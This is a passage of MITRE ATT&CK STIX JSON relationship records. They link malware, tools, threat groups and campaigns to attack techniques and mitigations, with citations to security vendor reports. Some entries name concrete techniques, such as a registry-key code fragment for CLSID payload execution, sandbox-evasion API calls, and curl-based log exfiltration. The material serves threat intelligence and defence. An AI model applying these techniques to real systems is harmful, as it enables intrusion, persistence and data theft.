"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--96076f66-3ad6-4e54-b816-c9c3f90fa43a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html", "description": "Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly &#91;Blog&#93;. Retrieved November 12, 2014.", "source_name": "Moran 2013"}, {"source_name": "Trend Micro IXESHE 2012", "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf", "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}], "modified": "2020-03-20T22:45:06.829Z", "description": "[Ixeshe](https://attack.mitre.org/software/S0015) uses custom Base64 encoding schemes to obfuscate command and control traffic in the message body of HTTP requests.(Citation: Moran 2013)(Citation: Trend Micro IXESHE 2012)", "relationship_type": "uses", "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--96077086-d811-47a1-a805-decbf6f249b7", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/", "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", "source_name": "Palo Alto Networks BBSRAT"}], "modified": "2019-04-24T23:10:02.485Z", "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can modify service configurations.(Citation: Palo Alto Networks BBSRAT)", "relationship_type": "uses", "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--960accee-d5ea-4570-8697-84ada0cc266a", "type": "relationship", "created": "2019-01-30T18:39:48.410Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Sofacy Feb 2018", "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/", "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."}, {"source_name": "ESET Zebrocy Nov 2018", "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."}, {"source_name": "CISA Zebrocy Oct 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}], "modified": "2020-12-09T21:54:33.258Z", "description": "[Zebrocy](https://attack.mitre.org/software/S0251)  has used a method similar to RC4 as well as AES for encryption and hexadecimal for encoding data before exfiltration. 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Retrieved May 16, 2018.", "source_name": "McAfee GhostSecret"}], "modified": "2019-04-22T22:40:41.273Z", "description": "[Proxysvc](https://attack.mitre.org/software/S0238) collects the OS version, country name, MAC address, computer name, physical memory statistics, and volume information for all drives on the system.(Citation: McAfee GhostSecret)", "relationship_type": "uses", "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--960d642d-a2f7-4b78-8363-fa94aff7bf86", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia", "description": "Symantec Security Response Attack Investigation Team. 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Retrieved May 8, 2018.", "source_name": "Symantec Orangeworm April 2018"}], "modified": "2019-03-25T15:36:46.868Z", "description": "(Citation: Symantec Orangeworm April 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9613ad57-7f24-4dff-bea3-2626d8b2c335", "type": "relationship", "created": "2019-03-04T17:12:37.770Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali Linux Rabbit 2018", "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat", "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019."}], "modified": "2019-07-26T20:18:44.896Z", "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) opens a socket on port 22 and if it receives a response it attempts to obtain the machine's hostname and Top-Level Domain. (Citation: Anomali Linux Rabbit 2018)", "relationship_type": "uses", "source_ref": "malware--0efefea5-78da-4022-92bc-d726139e8883", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--961bbfd6-e487-4628-9956-5b497e622ae1", "created": "2023-04-05T16:39:19.939Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT29 Nov 2018", "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. 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Retrieved April 15, 2019.", "url": "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-05T16:40:16.870Z", "description": "During [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors downloaded additional tools and files onto victim machines.(Citation: Microsoft Unidentified Dec 2018)(Citation: FireEye APT29 Nov 2018) ", "relationship_type": "uses", "source_ref": "campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--961e9aba-801c-45a4-b1a9-0717761a0f62", "created": "2022-03-24T11:46:08.663Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "ClearSky Lazarus Aug 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf", "description": "ClearSky Research Team. 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Retrieved December 20, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DRATzarus](https://attack.mitre.org/software/S0694) can use various API calls to see if it is running in a sandbox.(Citation: ClearSky Lazarus Aug 2020)", "modified": "2022-04-12T20:35:21.569Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--96213379-cdf0-4ee0-8f0c-a9c0d5ffca7e", "type": "relationship", "created": "2019-06-21T16:38:58.266Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-04-01T18:02:50.860Z", "description": "Remove smart cards when not in use.", "relationship_type": "mitigates", "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", "target_ref": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9627b2de-6420-480f-add5-312622eb957c", "created": "2022-09-27T16:29:13.660Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T16:29:13.660Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors gathered a recursive directory listing to find files and directories of interest.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--962b8434-1beb-4774-bb9e-3a5b10d84fe3", "type": "relationship", "created": "2022-03-29T17:20:53.559Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}], "modified": "2022-03-29T17:20:53.559Z", "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can add a CLSID key for payload execution through `Registry.CurrentUser.CreateSubKey(\"Software\\\\Classes\\\\CLSID\\\\{\" + clsid + \"}\\\\InProcServer32\")`.(Citation: GitHub SILENTTRINITY Modules July 2019)", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--962d745e-7771-4c8b-a887-04d3a521943c", "type": "relationship", "created": "2020-09-30T14:13:38.339Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA SoreFang July 2016", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a", "description": "CISA. (2020, July 16). MAR-10296782-1.v1 \u2013 SOREFANG. Retrieved September 29, 2020."}], "modified": "2020-10-06T16:10:42.741Z", "description": "[SoreFang](https://attack.mitre.org/software/S0516) can collect usernames from the local system via <code>net.exe user</code>.(Citation: CISA SoreFang July 2016)", "relationship_type": "uses", "source_ref": "malware--e33e4603-afab-402d-b2a1-248d435b5fe0", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--962db69e-efe1-4e5f-b845-99294ace5eb0", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Darkmoon Aug 2005", "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. 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Activity originating from unexpected sources may indicate improper permissions are set and are allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.", "modified": "2022-04-14T15:36:54.966Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1", "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--96311328-0188-437f-b1c6-1f95676732e0", "type": "relationship", "created": "2020-10-20T03:11:48.916Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-15T03:19:38.563Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9631e908-4538-4d61-943f-2b682e72b903", "created": "2023-09-27T20:18:53.883Z", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-27T20:18:53.883Z", "description": "[NightClub](https://attack.mitre.org/software/S1090) can use a plugin for keylogging.(Citation: MoustachedBouncer ESET August 2023)", "relationship_type": "uses", "source_ref": "malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--96417d00-2a6b-4a22-b43c-f65cb60da952", "type": "relationship", "created": "2021-03-02T16:42:09.554Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CERT-FR PYSA April 2020", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}], "modified": "2021-04-27T03:33:35.425Z", "description": "[Pysa](https://attack.mitre.org/software/S0583) has used [PsExec](https://attack.mitre.org/software/S0029) to copy and execute the ransomware.(Citation: CERT-FR PYSA April 2020)", "relationship_type": "uses", "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--964233cc-fa6c-4754-9684-6546eb6d5a4a", "created": "2019-02-21T21:17:37.831Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT39 Jan 2019", "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"}, {"source_name": "BitDefender Chafer May 2020", "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.", "url": "https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}, {"source_name": "Symantec Chafer February 2018", "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-18T16:19:53.784Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has used [NBTscan](https://attack.mitre.org/software/S0590) and custom tools to discover remote systems.(Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)(Citation: Symantec Chafer February 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--964a9222-6e88-4850-89cc-6fc0f10ee4c9", "created": "2019-09-23T23:08:25.400Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:27:10.534Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) used legitimate websites for C2 through dead drop resolvers (DDR), including GitHub, Pastebin, and Microsoft TechNet.(Citation: FireEye APT41 Aug 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9654ee15-fdca-4d74-98b8-11a81a19d892", "created": "2023-02-24T22:40:30.142Z", "revoked": false, "external_references": [{"source_name": "Microsoft Prestige ransomware October 2022", "description": "MSTIC. (2022, October 14). New \u201cPrestige\u201d ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-24T22:40:30.142Z", "description": "[Prestige](https://attack.mitre.org/software/S1058) has used the `Wow64DisableWow64FsRedirection()` and `Wow64RevertWow64FsRedirection()` functions to disable and restore file system redirection.(Citation: Microsoft Prestige ransomware October 2022) ", "relationship_type": "uses", "source_ref": "malware--1da748a5-875d-4212-9222-b4c23ab861be", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9655304e-7bdb-4375-8789-2bfecc5b0a64", "type": "relationship", "created": "2020-11-05T14:39:22.935Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-301A Kimsuky", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}], "modified": "2021-04-22T13:24:39.423Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used RDP to establish persistence.(Citation: CISA AA20-301A Kimsuky)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--96575047-df79-4e74-9f88-44307a46bce0", "type": "relationship", "created": "2020-03-09T14:38:24.631Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-09T14:38:24.631Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--965cdcbc-f139-4065-a8cd-ab09674ae20b", "type": "relationship", "created": "2020-08-05T15:09:37.751Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Intel 471 REvil March 2020", "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."}], "modified": "2021-04-06T14:42:52.770Z", "description": "[REvil](https://attack.mitre.org/software/S0496) can enumerate active services.(Citation: Intel 471 REvil March 2020)", "relationship_type": "uses", "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--965ea950-3680-4317-8f73-996157632a0e", "type": "relationship", "created": "2021-10-01T21:53:33.664Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity InkySquid BLUELIGHT August 2021", "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/", "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}], "modified": "2021-10-15T16:54:01.561Z", "description": "[BLUELIGHT](https://attack.mitre.org/software/S0657) can collect passwords stored in web browers, including Internet Explorer, Edge, Chrome, and Naver Whale.(Citation: Volexity InkySquid BLUELIGHT August 2021)", "relationship_type": "uses", "source_ref": "malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9663d78b-0a81-42af-93b0-8e62cc3af2d7", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Orangeworm April 2018", "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}], "modified": "2020-03-18T00:52:19.001Z", "description": "[Kwampirs](https://attack.mitre.org/software/S0236) copies itself over network shares to move laterally on a victim network.(Citation: Symantec Orangeworm April 2018)", "relationship_type": "uses", "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--96640478-b6a5-40b6-8928-b1c0cc5ad3ef", "created": "2020-12-29T16:20:58.888Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Nicolas Falliere, Liam O Murchu, Eric Chien February 2011", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ", "url": "https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-17T18:06:50.183Z", "description": "[Stuxnet](https://attack.mitre.org/software/S0603) enumerates removable drives for infection.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)", "relationship_type": "uses", "source_ref": "malware--088f1d6e-0783-47c6-9923-9c79b2af43d4", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--96667f6c-e625-4696-92b5-d65d142b3f43", "type": "relationship", "created": "2021-10-06T02:04:09.775Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "hexed osx.dok analysis 2019", "url": "http://www.hexed.in/2019/07/osxdok-analysis.html", "description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021."}], "modified": "2021-10-09T19:14:07.293Z", "description": "[Dok](https://attack.mitre.org/software/S0281) exfiltrates logs of its execution stored in the <code>/tmp</code> folder over FTP using the <code>curl</code> command.(Citation: hexed osx.dok analysis 2019) ", "relationship_type": "uses", "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9669920d-eff9-4436-9357-409eb7db002c", "type": "relationship", "created": "2019-01-30T19:50:46.689Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/", "source_name": "Unit 42 NOKKI Sept 2018"}], "modified": "2020-03-17T01:58:31.475Z", "description": "[NOKKI](https://attack.mitre.org/software/S0353) can delete files to cover tracks.(Citation: Unit 42 NOKKI Sept 2018)", "relationship_type": "uses", "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", 